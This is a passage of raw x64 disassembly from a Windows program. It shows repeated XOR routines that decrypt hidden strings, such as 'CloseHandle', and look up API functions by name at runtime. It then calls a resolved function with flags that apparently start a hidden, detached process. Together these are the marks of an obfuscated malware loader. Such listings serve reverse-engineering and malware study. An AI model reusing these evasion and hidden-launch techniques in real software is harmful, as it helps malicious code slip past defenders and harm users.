mov qword [rax + r15 - 0x18], rsi
mov qword [rax + r15 - 0x10], r14
mov qword [rax + r15 - 8], rdi
mov dword [rax + r15], r12d
mov rcx, qword [rbp + 0x318]
mov qword [rbp + 0x120], rcx
add r15, 0x38
mov r12, rcx
mov rax, qword [rbp + 0x300]
cmp rax, rcx
mov r14, qword [rbp + 0x100]
je 0x14001aed0
lea rbx, [r12 + 1]
mov rax, qword [rbp + 0x1a8]
mov edi, dword [rax + r12*4]
add rdi, r14
mov rcx, rdi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
lea rcx, [rbp + 0x1c0]
mov rdx, rdi
mov r8, rax
call fcn.14002a4b0
cmp byte [rbp + 0x1c0], 0
mov r13, qword [rbp + 0x1d0]
mov eax, 0
cmovne r13, rax
mov rdi, qword [rbp + 0x1c8]
mov eax, 1
cmovne rdi, rax
mov rax, qword [rbp + 0x2f0]
movzx eax, word [rax + r12*2]
mov rcx, qword [rbp + 0x1b0]
mov esi, dword [rcx + rax*4]
add rsi, r14
test r13, r13
js 0x14001d876
mov qword [rbp + 0x318], rbx
je 0x1400190f9
movzx eax, byte [0x14021f978]
xor ecx, ecx
mov rdx, r13
call fcn.14009fb80
mov rbx, rax
test rax, rax
jne 0x1400190fe
jmp 0x14001dd78
mov ebx, 1
mov rcx, rbx
mov rdx, rdi
mov r8, r13
call sub.VCRUNTIME140.dll_memcpy
mov rdi, rsi
mov rax, qword [rbp + 0xb8]
sub rdi, qword [r14 + rax + 0x30]
mov rax, rsi
and rax, 0xfffffffffffffff8
mov r14d, dword [rax + 0xc]
cmp r12, qword [rbp + 0x110]
jne 0x140019000
lea rcx, [rbp + 0x110]
call fcn.140009030
mov rax, qword [rbp + 0x118]
mov qword [rbp + 0x2f8], rax
jmp 0x140019000
cmp rax, 1
jne 0x14001917c
nop dword [rax + rax]
mov rax, qword [0x14021f7d8]
cmp rax, 1
jne 0x14001917c
pause
mov rax, qword [0x14021f7d8]
cmp rax, 1
je 0x14001916d
mov rax, qword [rbx + 0x10]
mov qword [rbp + 0x318], rax
mov r15, qword [rbx + 0x18]
test r15, r15
jne 0x14001ab06
cmp qword [rbx + 8], 0
je 0x1400191b1
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, qword [rbp + 0x318]
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x14021f8e0]
mov rdi, qword [sym.imp.kernel32.dll_HeapFree]
xor edx, edx
mov r8, rbx
call rdi
call fcn.1400b1110
mov r12, rax
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, rsi
call rdi
jmp 0x14001ca6e
mov qword [rbp + 0x320], 0
mov qword [rbp + 0x328], 1
mov qword [rbp + 0x330], 0
mov qword [rbp + 0x1f0], 0x20
mov byte [rbp + 0x1f8], 3
mov qword [rbp + 0x1c0], 0
mov qword [rbp + 0x1d0], 0
lea rax, [rbp + 0x320]
mov qword [rbp + 0x1e0], rax
lea rax, [0x1400b7be0]
mov qword [rbp + 0x1e8], rax
mov word [rbp + 0x135], 0x3139
lea rax, [rbp + 0x134]
mov byte [rbp + 0x134], 0x31
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 3
lea rcx, [rbp + 0x1c0]
mov r8d, 1
mov dl, 1
xor r9d, r9d
call fcn.140028ef0
test al, al
jne 0x14001e32e
mov r15, qword [rbp + 0x320]
mov rbx, qword [rbp + 0x328]
mov r14, qword [rbp + 0x330]
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
mov sil, 1
movzx eax, byte [0x14021f978]
mov edx, 0x1a
xor ecx, ecx
call fcn.14009fb80
test rax, rax
je 0x14001d5e3
mov r13, rax
movdqa xmm0, xmmword [0x1400b7770]
movdqu xmmword [rax], xmm0
movabs rax, 0xc76cff27b5e56747
mov qword [r13 + 0x10], rax
mov word [r13 + 0x18], 0x5d7f
movzx eax, byte [0x14021f978]
mov edx, 0x1a
xor ecx, ecx
call fcn.14009fb80
test rax, rax
je 0x14001d5e3
mov rdi, rax
movaps xmm0, xmmword [0x1400b7780]
movups xmmword [rax], xmm0
movabs rax, 0xa342cd14d9800935
mov qword [rdi + 0x10], rax
mov word [rdi + 0x18], 0x3113
movzx eax, byte [r13]
xor al, 0x3f
mov byte [rdi], al
movzx eax, byte [r13 + 1]
xor al, 0xaa
mov byte [rdi + 1], al
movzx eax, byte [r13 + 2]
xor al, 0x58
mov byte [rdi + 2], al
movzx eax, byte [r13 + 3]
xor al, 0x73
mov byte [rdi + 3], al
movzx eax, byte [r13 + 4]
xor al, 0x8d
mov byte [rdi + 4], al
movzx eax, byte [r13 + 5]
xor al, 0xc2
mov byte [rdi + 5], al
movzx eax, byte [r13 + 6]
xor al, 0xbb
mov byte [rdi + 6], al
movzx eax, byte [r13 + 7]
xor al, 0x22
mov byte [rdi + 7], al
movzx eax, byte [r13 + 8]
xor al, 0x1a
mov byte [rdi + 8], al
movzx eax, byte [r13 + 9]
xor al, 0x6d
mov byte [rdi + 9], al
movzx eax, byte [r13 + 0xa]
xor al, 0x5f
mov byte [rdi + 0xa], al
movzx eax, byte [r13 + 0xb]
xor al, 0xb2
mov byte [rdi + 0xb], al
movzx eax, byte [r13 + 0xc]
xor al, 0x57
mov byte [rdi + 0xc], al
movzx eax, byte [r13 + 0xd]
xor al, 0xc6
mov byte [rdi + 0xd], al
movzx eax, byte [r13 + 0xe]
xor al, 0x55
mov byte [rdi + 0xe], al
movzx eax, byte [r13 + 0xf]
xor al, 0x3b
mov byte [rdi + 0xf], al
movzx eax, byte [r13 + 0x10]
xor al, 0x35
mov byte [rdi + 0x10], al
movzx eax, byte [r13 + 0x11]
xor al, 9
mov byte [rdi + 0x11], al
movzx eax, byte [r13 + 0x12]
add al, 0x80
mov byte [rdi + 0x12], al
movzx eax, byte [r13 + 0x13]
xor al, 0xd9
mov byte [rdi + 0x13], al
movzx eax, byte [r13 + 0x14]
xor al, 0x14
mov byte [rdi + 0x14], al
movzx eax, byte [r13 + 0x15]
xor al, 0xcd
mov byte [rdi + 0x15], al
movzx eax, byte [r13 + 0x16]
xor al, 0x42
mov byte [rdi + 0x16], al
movzx eax, byte [r13 + 0x17]
xor al, 0xa3
mov byte [rdi + 0x17], al
movzx eax, byte [r13 + 0x18]
xor al, 0x13
mov byte [rdi + 0x18], al
movzx eax, byte [r13 + 0x19]
xor al, 0x31
mov byte [rdi + 0x19], al
lea rcx, [rbp + 0x1c0]
mov r8d, 0x1a
mov rdx, rdi
call fcn.14002a4b0
test byte [rbp + 0x1c0], 1
jne 0x14001d92f
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
test sil, sil
jne 0x14001d966
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, rdi
mov rsi, qword [sym.imp.kernel32.dll_HeapFree]
call rsi
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, qword [rbp + 0x298]
call rsi
movzx eax, byte [0x14021f978]
mov edx, 0x12
xor ecx, ecx
call fcn.14009fb80
test rax, rax
mov rbx, qword [rbp + 0x300]
je 0x14001d5f2
mov rdi, rax
movaps xmm0, xmmword [0x1400b7790]
movups xmmword [rax], xmm0
mov word [rax + 0x10], 0xe809
movzx eax, byte [0x14021f978]
mov edx, 0x12
xor ecx, ecx
call fcn.14009fb80
test rax, rax
je 0x14001d5f2
mov rsi, rax
mov qword [rbp + 0x90], r15
mov qword [rbp + 0xf8], r14
movdqa xmm0, xmmword [0x1400b77a0]
movdqu xmmword [rax], xmm0
mov word [rax + 0x10], 0xbf7a
movzx eax, byte [rdi]
xor al, 0x7c
mov byte [rsi], al
movzx eax, byte [rdi + 1]
xor al, 0xbd
mov byte [rsi + 1], al
movzx eax, byte [rdi + 2]
xor al, 0xbe
mov byte [rsi + 2], al
movzx eax, byte [rdi + 3]
xor al, 0x55
mov byte [rsi + 3], al
movzx eax, byte [rdi + 4]
xor al, 0x6f
mov byte [rsi + 4], al
movzx eax, byte [rdi + 5]
add al, 0x80
mov byte [rsi + 5], al
movzx eax, byte [rdi + 6]
xor al, 0xc3
mov byte [rsi + 6], al
movzx eax, byte [rdi + 7]
xor al, 0x3f
mov byte [rsi + 7], al
movzx eax, byte [rdi + 8]
xor al, 0xe5
mov byte [rsi + 8], al
movzx eax, byte [rdi + 9]
xor al, 0x6b
mov byte [rsi + 9], al
movzx eax, byte [rdi + 0xa]
xor al, 0xae
mov byte [rsi + 0xa], al
movzx eax, byte [rdi + 0xb]
xor al, 0x74
mov byte [rsi + 0xb], al
movzx eax, byte [rdi + 0xc]
xor al, 0x2f
mov byte [rsi + 0xc], al
movzx eax, byte [rdi + 0xd]
xor al, 0xeb
mov byte [rsi + 0xd], al
movzx eax, byte [rdi + 0xe]
xor al, 0x46
mov byte [rsi + 0xe], al
movzx eax, byte [rdi + 0xf]
xor al, 0x24
mov byte [rsi + 0xf], al
movzx eax, byte [rdi + 0x10]
xor al, 0x7a
mov byte [rsi + 0x10], al
movzx eax, byte [rdi + 0x11]
xor al, 0xbf
mov byte [rsi + 0x11], al
lea rcx, [rbp + 0x1c0]
mov r8d, 0x12
mov rdx, rsi
call fcn.14002a4b0
test byte [rbp + 0x1c0], 1
jne 0x14001d9a2
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
test rbx, rbx
je 0x14001d14b
imul r15, rbx, 0x38
xor edi, edi
jmp 0x14001960d
add rdi, 0x38
cmp r15, rdi
je 0x14001d14b
cmp qword [r12 + rdi + 0x10], 0x12
jne 0x140019600
mov rbx, qword [r12 + rdi + 8]
movdqu xmm0, xmmword [rsi]
movdqu xmm1, xmmword [rbx]
pcmpeqb xmm1, xmm0
movzx eax, word [rsi + 0x10]
movzx ecx, word [rbx + 0x10]
movd xmm0, eax
movd xmm2, ecx
pcmpeqb xmm2, xmm0
pand xmm2, xmm1
pmovmskb eax, xmm2
cmp eax, 0xffff
jne 0x140019600
movzx eax, byte [0x14021f978]
mov edx, 0x12
xor ecx, ecx
call fcn.14009fb80
test rax, rax
je 0x14001d9d9
movzx ecx, word [rbx + 0x10]
mov word [rax + 0x10], cx
movupd xmm0, xmmword [rbx]
movupd xmmword [rax], xmm0
mov rdi, qword [r12 + rdi + 0x18]
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, rax
mov rbx, qword [sym.imp.kernel32.dll_HeapFree]
call rbx
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, rsi
call rbx
mov rcx, qword [rbp + 0x308]
mov edx, 6
call rdi
movzx eax, byte [0x14021f978]
mov edx, 0xe
xor ecx, ecx
call fcn.14009fb80
test rax, rax
je 0x14001d601
mov rdi, rax
movabs rax, 0xe4b688bd5431e186
mov qword [rdi], rax
mov dword [rdi + 8], 0xef3fd2fb
mov word [rdi + 0xc], 0x77d8
movzx eax, byte [0x14021f978]
mov edx, 0xe
xor ecx, ecx
call fcn.14009fb80
test rax, rax
je 0x14001d601
mov rsi, rax
movabs rax, 0x96e6edc9355493c5
mov qword [rsi], rax
mov dword [rsi + 8], 0x9c5ab194
mov word [rsi + 0xc], 0x20ab
movzx eax, byte [rdi]
xor al, 0xc5
mov byte [rsi], al
movzx eax, byte [rdi + 1]
xor al, 0x93
mov byte [rsi + 1], al
movzx eax, byte [rdi + 2]
xor al, 0x54
mov byte [rsi + 2], al
movzx eax, byte [rdi + 3]
xor al, 0x35
mov byte [rsi + 3], al
movzx eax, byte [rdi + 4]
xor al, 0xc9
mov byte [rsi + 4], al
movzx eax, byte [rdi + 5]
xor al, 0xed
mov byte [rsi + 5], al
movzx eax, byte [rdi + 6]
xor al, 0xe6
mov byte [rsi + 6], al
movzx eax, byte [rdi + 7]
xor al, 0x96
mov byte [rsi + 7], al
movzx eax, byte [rdi + 8]
xor al, 0x94
mov byte [rsi + 8], al
movzx eax, byte [rdi + 9]
xor al, 0xb1
mov byte [rsi + 9], al
movzx eax, byte [rdi + 0xa]
xor al, 0x5a
mov byte [rsi + 0xa], al
movzx eax, byte [rdi + 0xb]
xor al, 0x9c
mov byte [rsi + 0xb], al
movzx eax, byte [rdi + 0xc]
xor al, 0xab
mov byte [rsi + 0xc], al
movzx eax, byte [rdi + 0xd]
xor al, 0x20
mov byte [rsi + 0xd], al
lea rcx, [rbp + 0x1c0]
mov r8d, 0xe
mov rdx, rsi
call fcn.14002a4b0
test byte [rbp + 0x1c0], 1
jne 0x14001d9e8
mov rcx, qword [0x14021f8e0]
xor ebx, ebx
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400197ed
add rbx, 0x38
cmp r15, rbx
je 0x14001d163
cmp qword [r12 + rbx + 0x10], 0xe
jne 0x1400197e0
mov rdi, qword [r12 + rbx + 8]
mov rax, qword [rsi]
xor rax, qword [rdi]
mov rcx, qword [rsi + 6]
xor rcx, qword [rdi + 6]
or rcx, rax
jne 0x1400197e0
movzx eax, byte [0x14021f978]
mov edx, 0xe
xor ecx, ecx
call fcn.14009fb80
test rax, rax
je 0x14001da1c
mov rcx, qword [rdi]
mov rdx, qword [rdi + 6]
mov qword [rax + 6], rdx
mov qword [rax], rcx
mov rcx, qword [r12 + rbx + 0x18]
mov qword [rbp + 0x2f8], rcx
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, rax
mov rdi, qword [sym.imp.kernel32.dll_HeapFree]
call rdi
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, rsi
call rdi
movzx eax, byte [0x14021f978]
mov edx, 0x31
xor ecx, ecx
call fcn.14009fb80
test rax, rax
je 0x14001d610
mov rbx, rax
movaps xmm0, xmmword [0x1400b77b0]
movups xmmword [rax], xmm0
movaps xmm0, xmmword [0x1400b77c0]
movups xmmword [rax + 0x10], xmm0
movapd xmm0, xmmword [0x1400b77d0]
movupd xmmword [rax + 0x20], xmm0
mov byte [rax + 0x30], 0xb9
movzx eax, byte [0x14021f978]
mov edx, 0x31
xor ecx, ecx
call fcn.14009fb80
test rax, rax
je 0x14001d610
mov rdi, rax
movaps xmm0, xmmword [0x1400b77e0]
movups xmmword [rax], xmm0
movaps xmm0, xmmword [0x1400b77f0]
movups xmmword [rax + 0x10], xmm0
movapd xmm0, xmmword [0x1400b7800]
movupd xmmword [rax + 0x20], xmm0
mov byte [rax + 0x30], 0x9b
movzx eax, byte [rbx]
xor al, 0x3e
mov byte [rdi], al
movzx eax, byte [rbx + 1]
xor al, 0x60
mov byte [rdi + 1], al
movzx eax, byte [rbx + 2]
xor al, 0xec
mov byte [rdi + 2], al
movzx eax, byte [rbx + 3]
xor al, 0x7d
mov byte [rdi + 3], al
movzx eax, byte [rbx + 4]
xor al, 0x30
mov byte [rdi + 4], al
movzx eax, byte [rbx + 5]
xor al, 0x13
mov byte [rdi + 5], al
movzx eax, byte [rbx + 6]
xor al, 0xfe
mov byte [rdi + 6], al
movzx eax, byte [rbx + 7]
xor al, 4
mov byte [rdi + 7], al
movzx eax, byte [rbx + 8]
xor al, 0x2a
mov byte [rdi + 8], al
movzx eax, byte [rbx + 9]
xor al, 0x78
mov byte [rdi + 9], al
movzx eax, byte [rbx + 0xa]
xor al, 0xd4
mov byte [rdi + 0xa], al
movzx eax, byte [rbx + 0xb]
xor al, 0x4f
mov byte [rdi + 0xb], al
movzx eax, byte [rbx + 0xc]
xor al, 0x1c
mov byte [rdi + 0xc], al
movzx eax, byte [rbx + 0xd]
xor byte [rdi + 0xd], al
movzx eax, byte [rbx + 0xe]
xor byte [rdi + 0xe], al
movzx eax, byte [rbx + 0xf]
xor byte [rdi + 0xf], al
movzx eax, byte [rbx + 0x10]
xor al, 0xfa
mov byte [rdi + 0x10], al
movzx eax, byte [rbx + 0x11]
xor al, 0x54
mov byte [rdi + 0x11], al
movzx eax, byte [rbx + 0x12]
xor byte [rdi + 0x12], al
movzx eax, byte [rbx + 0x13]
xor byte [rdi + 0x13], al
movzx eax, byte [rbx + 0x14]
xor byte [rdi + 0x14], al
movzx eax, byte [rbx + 0x15]
xor byte [rdi + 0x15], al
movzx eax, byte [rbx + 0x16]
xor byte [rdi + 0x16], al
movzx eax, byte [rbx + 0x17]
xor byte [rdi + 0x17], al
movzx eax, byte [rbx + 0x18]
xor byte [rdi + 0x18], al
movzx eax, byte [rbx + 0x19]
xor byte [rdi + 0x19], al
movzx eax, byte [rbx + 0x1a]
xor byte [rdi + 0x1a], al
movzx eax, byte [rbx + 0x1b]
xor byte [rdi + 0x1b], al
movzx eax, byte [rbx + 0x1c]
xor byte [rdi + 0x1c], al
movzx eax, byte [rbx + 0x1d]
xor byte [rdi + 0x1d], al
movzx eax, byte [rbx + 0x1e]
xor byte [rdi + 0x1e], al
movzx eax, byte [rbx + 0x1f]
xor byte [rdi + 0x1f], al
movzx eax, byte [rbx + 0x20]
xor byte [rdi + 0x20], al
movzx eax, byte [rbx + 0x21]
xor byte [rdi + 0x21], al
movzx eax, byte [rbx + 0x22]
xor byte [rdi + 0x22], al
movzx eax, byte [rbx + 0x23]
xor byte [rdi + 0x23], al
movzx eax, byte [rbx + 0x24]
xor byte [rdi + 0x24], al
movzx eax, byte [rbx + 0x25]
xor byte [rdi + 0x25], al
movzx eax, byte [rbx + 0x26]
xor byte [rdi + 0x26], al
movzx eax, byte [rbx + 0x27]
xor byte [rdi + 0x27], al
movzx eax, byte [rbx + 0x28]
xor byte [rdi + 0x28], al
movzx eax, byte [rbx + 0x29]
xor byte [rdi + 0x29], al
movzx eax, byte [rbx + 0x2a]
xor byte [rdi + 0x2a], al
movzx eax, byte [rbx + 0x2b]
xor byte [rdi + 0x2b], al
movzx eax, byte [rbx + 0x2c]
xor byte [rdi + 0x2c], al
movzx eax, byte [rbx + 0x2d]
xor byte [rdi + 0x2d], al
movzx eax, byte [rbx + 0x2e]
xor byte [rdi + 0x2e], al
movzx eax, byte [rbx + 0x2f]
xor byte [rdi + 0x2f], al
movzx eax, byte [rbx + 0x30]
xor byte [rdi + 0x30], al
lea rcx, [rbp + 0x1c0]
mov r8d, 0x31
mov rdx, rdi
call fcn.14002a4b0
test byte [rbp + 0x1c0], 1
jne 0x14001da2b
mov rcx, qword [0x14021f8e0]
xor r13d, r13d
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rbp + 0x110]
mov r8d, 0x31
mov rdx, rdi
call fcn.140001310
mov rax, qword [rbp + 0x110]
mov rcx, qword [rbp + 0x118]
mov qword [rbp + 0x318], rcx
mov rdx, qword [rbp + 0x120]
movabs rcx, 0x8000000000000001
cmp rax, rcx
jne 0x14001ae97
mov qword [rbp + 0x48], rdx
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov ebx, 0xee483c43
xorps xmm6, xmm6
lea rdi, [rbp + 0x110]
jmp 0x140019b19
mov r13d, 0x28fd72e4
xor ebx, r13d
cmp ebx, 0xe9c3549c
je 0x140019b10
cmp ebx, 0xee483c43
je 0x140019b40
cmp ebx, 0xc13e2678
je 0x140019ce7
xor ebx, r13d
jmp 0x140019b19
movaps xmmword [rbp + 0x1c0], xmm6
movaps xmmword [rbp + 0x220], xmm6
movaps xmmword [rbp + 0x210], xmm6
movaps xmmword [rbp + 0x200], xmm6
movaps xmmword [rbp + 0x1f0], xmm6
movaps xmmword [rbp + 0x1e0], xmm6
movaps xmmword [rbp + 0x1d0], xmm6
mov dword [rbp + 0x1c0], 0x70
movaps xmmword [rbp + 0x320], xmm6
mov qword [rbp + 0x330], 0
lea rax, [rbp + 0x320]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x1c0]
mov qword [rsp + 0x40], rax
movups xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], 0x8080008
mov dword [rsp + 0x20], 0
xor ecx, ecx
mov rdx, qword [rbp + 0x318]
xor r8d, r8d
xor r9d, r9d
call qword [rbp + 0x2f8]
movzx eax, byte [0x14021f978]
movzx eax, byte [0x14021f978]
mov edx, 0xb
xor ecx, ecx
call fcn.14009fb80
test rax, rax
je 0x14001d23f
mov r13, rax
movabs rax, 0x6e614865736f6c43
mov qword [r13], rax
mov word [r13 + 8], 0x6c64
mov byte [r13 + 0xa], 0x65
mov r8d, 0xb
mov rcx, rdi
mov rdx, r13
call fcn.14002a4b0
test byte [rbp + 0x110], 1
jne 0x14001d24e
mov rax, r15
mov rsi, r12
jmp 0x140019c4e
add r12, 0x38
add rax, 0xffffffffffffffc8
je 0x14001cda0
cmp qword [r12 + 0x10], 0xb
jne 0x140019c40
mov r14, qword [r12 + 8]
mov rcx, qword [r13]
xor rcx, qword [r14]
mov rdx, qword [r13 + 3]
xor rdx, qword [r14 + 3]
or rdx, rcx
jne 0x140019c40
movzx eax, byte [0x14021f978]
mov edx, 0xb
xor ecx, ecx
call fcn.14009fb80
test rax, rax
je 0x14001d2a4
mov ecx, dword [r14 + 7]
mov dword [rax + 7], ecx
mov rcx, qword [r14]
mov qword [rax], rcx
mov r14, qword [r12 + 0x18]
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, rax
mov r12, qword [sym.imp.kernel32.dll_HeapFree]
call r12
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, r13
call r12
mov rcx, qword [rbp + 0x320]
call r14
mov rcx, qword [rbp + 0x328]
call r14
mov r13d, 0x78b68df
mov r12, rsi
xor ebx, r13d
jmp 0x140019b19
movzx eax, byte [0x14021f978]
mov edx, 8
xor ecx, ecx
call fcn.14009fb80
test rax, rax
je 0x14001d365
mov rsi, rax
movabs rax, 0x6fba290752dc64ca
mov qword [rsi], rax
movzx eax, byte [0x14021f978]
mov edx, 8
xor ecx, ecx
call fcn.14009fb80
test rax, rax
je 0x14001d365
mov r14, rax
movabs rax, 0x1cd15a6626b407b9
mov qword [r14], rax
movzx eax, byte [rsi]
xor al, 0xb9
mov byte [r14], al
movzx eax, byte [rsi + 1]
xor al, 7
mov byte [r14 + 1], al
movzx eax, byte [rsi + 2]
xor al, 0xb4
mov byte [r14 + 2], al
movzx eax, byte [rsi + 3]
xor al, 0x26
mov byte [r14 + 3], al
movzx eax, byte [rsi + 4]
xor al, 0x66
mov byte [r14 + 4], al
movzx eax, byte [rsi + 5]
xor al, 0x5a
mov byte [r14 + 5], al
movzx eax, byte [rsi + 6]
xor al, 0xd1
mov byte [r14 + 6], al
movzx eax, byte [rsi + 7]
xor al, 0x1c
mov byte [r14 + 7], al
lea rcx, [rbp + 0x110]
mov r8d, 8
mov rdx, r14
call fcn.14002a4b0
test byte [rbp + 0x110], 1
jne 0x14001da81
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
movzx eax, byte [0x14021f978]
mov edx, 8
xor ecx, ecx
call fcn.14009fb80
test rax, rax
je 0x14001dab8
mov rcx, qword [r14]
mov qword [rax], rcx
mov qword [rbp + 0x1c0], 8
mov qword [rbp + 0x1c8], rax
mov qword [rbp + 0x1d0], 8
mov byte [rbp + 0x1d8], 0
mov qword [rbp + 0x1e0], 0
mov qword [rbp + 0x1e8], 8
mov qword [rbp + 0x1f0], 0
mov qword [rbp + 0x248], 0
mov qword [rbp + 0x258], 0
mov word [rbp + 0x260], 0
movabs rax, 0x8000000000000000
mov qword [rbp + 0xb8], rax
mov qword [rbp + 0x1f8], rax
mov dword [rbp + 0x284], 0
mov word [rbp + 0x280], 0
mov word [rbp + 0x288], 0
mov dword [rbp + 0x218], 6
mov dword [rbp + 0x228], 6
mov dword [rbp + 0x238], 6
mov qword [rbp + 0x268], 0
mov qword [rbp + 0x278], 0
movzx eax, byte [0x14021f978]
mov edx, 7
xor ecx, ecx
call fcn.14009fb80
test rax, rax
je 0x14001d2b3
mov rsi, rax
mov dword [rax], 0x8680680b
mov word [rax + 4], 0x4a6f
mov byte [rax + 6], 0xb2
movzx eax, byte [0x14021f978]
mov edx, 7
xor ecx, ecx
call fcn.14009fb80
test rax, rax
je 0x14001d2b3
mov rbx, rax
mov dword [rax], 0xe3f20b24
mov word [rax + 4], 0x3e0e
mov byte [rax + 6], 0xd7
movzx eax, byte [rsi]
xor al, 0x24
mov byte [rbx], al
movzx eax, byte [rsi + 1]
xor al, 0xb
mov byte [rbx + 1], al
movzx eax, byte [rsi + 2]
xor al, 0xf2
mov byte [rbx + 2], al
movzx eax, byte [rsi + 3]
xor al, 0xe3
mov byte [rbx + 3], al
movzx eax, byte [rsi + 4]
xor al, 0xe
mov byte [rbx + 4], al
movzx eax, byte [rsi + 5]
xor al, 0x3e
mov byte [rbx + 5], al
movzx eax, byte [rsi + 6]
xor al, 0xd7
mov byte [rbx + 6], al
lea rcx, [rbp + 0x110]
mov r8d, 7
mov rdx, rbx
call fcn.14002a4b0
test byte [rbp + 0x110], 1
jne 0x14001dac7
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
movzx eax, byte [0x14021f978]
mov edx, 3
xor ecx, ecx
call fcn.14009fb80
test rax, rax
je 0x14001d4a0
mov rsi, rax
mov word [rax], 0x22ea
mov byte [rax + 2], 0xa0
movzx eax, byte [0x14021f978]
mov edx, 3
xor ecx, ecx
call fcn.14009fb80
test rax, rax
je 0x14001d4a0
mov r13, rax
mov word [rax], 0x56c5
mov byte [rax + 2], 0xce
movzx eax, byte [rsi]
xor al, 0xc5
mov byte [r13], al
movzx eax, byte [rsi + 1]
xor al, 0x56
mov byte [r13 + 1], al
movzx eax, byte [rsi + 2]
xor al, 0xce
mov byte [r13 + 2], al
lea rcx, [rbp + 0x110]
mov r8d, 3
mov rdx, r13
call fcn.14002a4b0
test byte [rbp + 0x110], 1
jne 0x14001dafe
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
movzx eax, byte [0x14021f978]
mov edx, 0x13
xor ecx, ecx
call fcn.14009fb80
test rax, rax
je 0x14001d356
mov rsi, rax
movaps xmm0, xmmword [0x1400b7810]
movups xmmword [rax], xmm0
mov word [rax + 0x10], 0xf6db
mov byte [rax + 0x12], 0x85
movzx eax, byte [0x14021f978]
mov edx, 0x13
xor ecx, ecx
call fcn.14009fb80
test rax, rax
je 0x14001d356
mov rdi, rax
movapd xmm0, xmmword [0x1400b7820]
movupd xmmword [rax], xmm0
mov word [rax + 0x10], 0xbf8f
mov byte [rax + 0x12], 0xd5
movzx eax, byte [rsi]
xor al, 0x21
mov byte [rdi], al
movzx eax, byte [rsi + 1]
xor al, 9
mov byte [rdi + 1], al
movzx eax, byte [rsi + 2]
xor al, 0x68
mov byte [rdi + 2], al
movzx eax, byte [rsi + 3]
xor al, 0xd5
mov byte [rdi + 3], al
movzx eax, byte [rsi + 4]
xor al, 0x23
mov byte [rdi + 4], al
movzx eax, byte [rsi + 5]
xor al, 0x36
mov byte [rdi + 5], al
movzx eax, byte [rsi + 6]
xor al, 0xa4
mov byte [rdi + 6], al
movzx eax, byte [rsi + 7]
xor al, 0x5f
mov byte [rdi + 7], al
movzx eax, byte [rsi + 8]
xor al, 0x40
mov byte [rdi + 8], al
movzx eax, byte [rsi + 9]
xor al, 0x50
mov byte [rdi + 9], al
movzx eax, byte [rsi + 0xa]
xor al, 0xa0
mov byte [rdi + 0xa], al
movzx eax, byte [rsi + 0xb]
xor al, 0x4b
mov byte [rdi + 0xb], al
movzx eax, byte [rsi + 0xc]
xor al, 0xa7
mov byte [rdi + 0xc], al
movzx eax, byte [rsi + 0xd]
xor al, 0x42
mov byte [rdi + 0xd], al
movzx eax, byte [rsi + 0xe]
xor al, 0x10
mov byte [rdi + 0xe], al
movzx eax, byte [rsi + 0xf]
xor al, 7
mov byte [rdi + 0xf], al
movzx eax, byte [rsi + 0x10]
xor al, 0x8f
mov byte [rdi + 0x10], al
movzx eax, byte [rsi + 0x11]
xor al, 0xbf
mov byte [rdi + 0x11], al
movzx eax, byte [rsi + 0x12]
xor al, 0xd5
mov byte [rdi + 0x12], al
lea rcx, [rbp + 0x110]
mov r8d, 0x13
mov rdx, rdi
call fcn.14002a4b0
test byte [rbp + 0x110], 1
jne 0x14001db1c
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
movzx eax, byte [0x14021f978]
mov edx, 3
xor ecx, ecx
call fcn.14009fb80
test rax, rax
je 0x14001d4a0
mov rsi, rax
mov word [rax], 0x7a7e
mov byte [rax + 2], 0xe0
movzx eax, byte [0x14021f978]
mov edx, 3
xor ecx, ecx
call fcn.14009fb80
test rax, rax
je 0x14001d4a0
mov word [rax], 0xe51
mov byte [rax + 2], 0x92
movzx ecx, byte [rsi]
xor cl, 0x51
mov byte [rax], cl
movzx ecx, byte [rsi + 1]
xor cl, 0xe
mov byte [rax + 1], cl
movzx ecx, byte [rsi + 2]
xor cl, 0x92
mov byte [rax + 2], cl
lea rcx, [rbp + 0x110]
mov r8d, 3
mov qword [rbp + 0x2f8], rax
mov rdx, rax
call fcn.14002a4b0
test byte [rbp + 0x110], 1
jne 0x14001db53
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
movzx eax, byte [0x14021f978]
mov edx, 0x2b
xor ecx, ecx
call fcn.14009fb80
test rax, rax
je 0x14001d658
mov r15, rax
movaps xmm0, xmmword [0x1400b7830]
movups xmmword [rax], xmm0
movapd xmm0, xmmword [0x1400b7840]
movupd xmmword [rax + 0x10], xmm0
movabs rax, 0xc69c8583fa065921
mov qword [r15 + 0x20], rax
mov word [r15 + 0x28], 0x861
